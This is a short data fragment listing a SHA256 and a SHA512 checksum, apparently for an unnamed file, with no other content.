SHA256917a47129044c1af07cb423063688e3925b1ab3bd8eb572a5b600c60ca5acd6d
SHA512e7f1005d9d9bfd2a9bda1ef3b038ed4f1ae0f6a96102b21d771dad9ac16330ad7ef29d52919af64abff0825dd410810a8c6e082ecbe9e3b65f895b8f0a50302f